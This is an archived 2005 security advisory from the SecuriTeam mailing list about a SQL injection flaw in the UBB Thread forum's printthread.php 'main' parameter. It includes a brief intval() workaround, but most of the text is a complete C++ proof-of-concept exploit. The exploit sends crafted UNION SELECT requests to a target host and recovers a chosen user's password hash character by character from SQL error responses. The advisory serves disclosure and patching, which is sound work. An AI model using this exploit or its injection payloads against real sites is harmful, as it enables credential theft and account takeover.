The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[UNIX] UBB Thread SQL Injection Vulnerability (main)


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 21 Apr 2005 15:51:38 +0200
Subject: [UNIX] UBB Thread SQL Injection Vulnerability (main)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20050421132603.5B74B57A7@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  UBB Thread SQL Injection Vulnerability (main)
------------------------------------------------------------------------


SUMMARY

 <http://www.ubbcentral.com/>; UBB Thread is "robust and flexible PHP 
message board, with a MySQL database for power and scalability".

Due to insufficient checking of user provided input UBB Thread allows a 
malicious user to insert arbitrary SQL statements into existing ones.

DETAILS

Workaround:
Add in the beginning of the PHP file(printthread.php) after the PHP-Code 
tag (<?):

if(array_key_exists('main', $_GET)) $_GET['main']=intval($_GET['main']);

Exploit:
The 'main' parameter is used twice, in two different queries and in two 
different number of columns. The popular 'UNION SELECT' method will is not 
applicable, because a correct response of the first query, makes the 
second query invalid, and vice versa.

The catch is, that the second query execution is conditional to the 
results of the first one. If no results are returned from the first query 
the second query is not processed, thus, no SQL error will output

Therefore, as you see in the POC exploit below this vulnerability can 
still be used to output from the first query not as a text/numbers but as 
a "Are there any results" way. If the first query has 0 rows returned, 
there will be no SQL error. If there is at least 1 row, then an SQL error 
will be shown.

//HLLUBBThreadsExploit.cpp
/*
  4. Exploitation

UBB Thread /ubbthreads/printthread.php SQL Injection Yes\No vulnerability

Usage: HLLUBBThreadsExploit.exe <hostname> <path to printthread.php> <Any 
vaild forum name> <user id>
Example: HLLUBBThreadsExploit.exe www.host.com /ubbthreads/printthread.php 
UBB3 2
Vulnerability discovered by: Axl
Exploit Coded by HLL: hllhll <at> gmail.com

*/
#include <winsock2.h>
#include <stdio.h>
#include <conio.h>
#include <iostream.h>
#pragma comment (lib,"ws2_32")

void usage(char *argv[])
{
        cout << "[+] UBB Threads Proof-Of-Concept Exploit, Written by: 
HLL" << endl;
        cout << "[+] Usage:" << endl;
        cout << "[+] " << argv[0] << " <hostname> <path to 
printthread.php> <Any vaild forum name> <user name> " << endl;
        cout << "[+] " << argv[0] << " www.host.com 
/ubbthreads/printthread.php UBB3 HLL" << endl;
}

int main(int argc, char *argv[]){
        WSADATA wsaData;
        struct sockaddr_in saddr;
        WSAStartup(MAKEWORD(1, 1), &wsaData);
        struct hostent *h;
        char hash[34]={0};
        int rcvlen;
        char ch;
        int flag, pos;
        int countwait;
        SOCKET sock;
        char req[400];
        char buf[600];
        char rcvbuf[10000];
        char rcvtmpbuf[1024];

        char *host=argv[1]; //Server
        char *path=argv[2]; // Path to /ubbthreads/printthread.php
        char *fname=argv[3]; //Forum name
        int uid=atoi(argv[4]); //User id

        if (argv!=5){
                usage(argv);
                return(0);
        }
        //Resolve address (will work also if this is an IP)
        cout << "[+] Resolving host... ";
        if (!(h=gethostbyname(host)))
        {
                cout << "FAILD!" << endl;
                return(1);
        }
        cout << "Done." << endl;

        saddr.sin_addr=*(struct in_addr *)h->h_addr_list[0];
        memset(saddr.sin_zero, 0, 8);
        saddr.sin_port=htons(80);
        saddr.sin_family=AF_INET;

        
        cout << "[+] Exploiting target... " << endl;
        for (pos=1; pos<=32; pos++)
        {
                for (ch='0'; ch<='F'; ch++)
                {
                        if ( (sock=socket(AF_INET, SOCK_STREAM, 0)) == -1 
)
                        {
                                cout << "FAILD CREATING SOCKET!" << endl;
                                return(1);
                        }

                        if (ch==':') ch='A'; //If finished all digits, 
jump to hex digits
                        
                        //Prepare reqest
                        sprintf(req, "%s?Board=%s&type=post&main=-99' 
UNION SELECT B_Number,B_Posted FROM w3t_Posts,w3t_Users WHERE 
((MID(U_Password,%d,1)='%c')", path, fname, pos, ch, pos, ch+32);
                        if (ch>='A' && ch<='Z')
                                sprintf(req, "%sOR 
(MID(U_Password,%d,1)='%c')", req, pos, ch+32);
                        sprintf(req, "%s)AND(u_number=%d)/*", req, uid);
                        sprintf(buf, "GET %s HTTP/1.0\r\nAccept: * 
/*\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; 
DigExt)\r\nHost: %s \r\n\r\n", req, host);
                        
                        connect(sock, (struct sockaddr *)&saddr, 
sizeof(struct sockaddr) );
                        send(sock, buf, strlen(buf), 0);
                        cout << "[+] Char: " << ch << endl;

                        //Loop untill disconnection or recognized string
                        flag=0;
                        countwait=0;
                        *rcvbuf=NULL;
                        while(!flag){
                                Sleep(30);

                                if ((rcvlen = recv(sock, rcvtmpbuf, 1023, 
0))>0){
                                        rcvtmpbuf[rcvlen]=NULL;
                                        strcat(rcvbuf, rcvtmpbuf);

                                }

                                if ( (++countwait) == 30)
                                        flag=2;
                                if ( strstr(rcvbuf, "SQL Error"))
                                        flag=1;
                        }
                        if (flag==1){ //Char found
                                cout << "[+] Char " << ch << " In pos " << 
pos << endl;
                                hash[pos-1]=ch;
                                ch='G';
                        }
                        closesocket(sock);
                }

        }

        hash[32]=NULL;
        cout << endl << "The hash for user id" << uid << "is: " << hash << 
endl;
        WSACleanup();
        return (0);
}


/* EOF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:hllhll@gmail.com.> Hillel 
Himovich .




This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру